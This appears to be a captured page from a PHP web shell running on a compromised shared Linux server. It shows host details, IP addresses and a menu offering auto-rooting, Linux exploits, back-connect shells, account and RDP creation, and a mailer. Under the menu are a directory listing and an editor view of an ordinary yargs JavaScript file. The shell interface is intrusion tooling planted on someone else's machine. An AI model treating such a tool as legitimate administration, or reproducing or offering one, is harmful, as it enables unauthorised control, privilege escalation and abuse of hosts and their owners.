Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
yargs /
build /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
apply-extends.d.ts
198
B
-rw-r--r--
apply-extends.js
2
KB
-rw-r--r--
is-promise.d.ts
96
B
-rw-r--r--
is-promise.js
155
B
-rw-r--r--
levenshtein.d.ts
67
B
-rw-r--r--
levenshtein.js
731
B
-rw-r--r--
obj-filter.d.ts
119
B
-rw-r--r--
obj-filter.js
299
B
-rw-r--r--
process-argv.d.ts
112
B
-rw-r--r--
process-argv.js
436
B
-rw-r--r--
set-blocking.d.ts
62
B
-rw-r--r--
set-blocking.js
386
B
-rw-r--r--
which-module.d.ts
105
B
-rw-r--r--
which-module.js
321
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apply-extends.js
import { YError } from '../yerror.js'; let previouslyVisitedConfigs = []; let shim; export function applyExtends(config, cwd, mergeExtends, _shim) { shim = _shim; let defaultConfig = {}; if (Object.prototype.hasOwnProperty.call(config, 'extends')) { if (typeof config.extends !== 'string') return defaultConfig; const isPath = /\.json|\..*rc$/.test(config.extends); let pathToDefault = null; if (!isPath) { try { pathToDefault = require.resolve(config.extends); } catch (_err) { return config; } } else { pathToDefault = getPathToDefaultConfig(cwd, config.extends); } checkForCircularExtends(pathToDefault); previouslyVisitedConfigs.push(pathToDefault); defaultConfig = isPath ? JSON.parse(shim.readFileSync(pathToDefault, 'utf8')) : require(config.extends); delete config.extends; defaultConfig = applyExtends(defaultConfig, shim.path.dirname(pathToDefault), mergeExtends, shim); } previouslyVisitedConfigs = []; return mergeExtends ? mergeDeep(defaultConfig, config) : Object.assign({}, defaultConfig, config); } function checkForCircularExtends(cfgPath) { if (previouslyVisitedConfigs.indexOf(cfgPath) > -1) { throw new YError(`Circular extended configurations: '${cfgPath}'.`); } } function getPathToDefaultConfig(cwd, pathToExtend) { return shim.path.resolve(cwd, pathToExtend); } function mergeDeep(config1, config2) { const target = {}; function isObject(obj) { return obj && typeof obj === 'object' && !Array.isArray(obj); } Object.assign(target, config1); for (const key of Object.keys(config2)) { if (isObject(config2[key]) && isObject(target[key])) { target[key] = mergeDeep(config1[key], config2[key]); } else { target[key] = config2[key]; } } return target; }
Close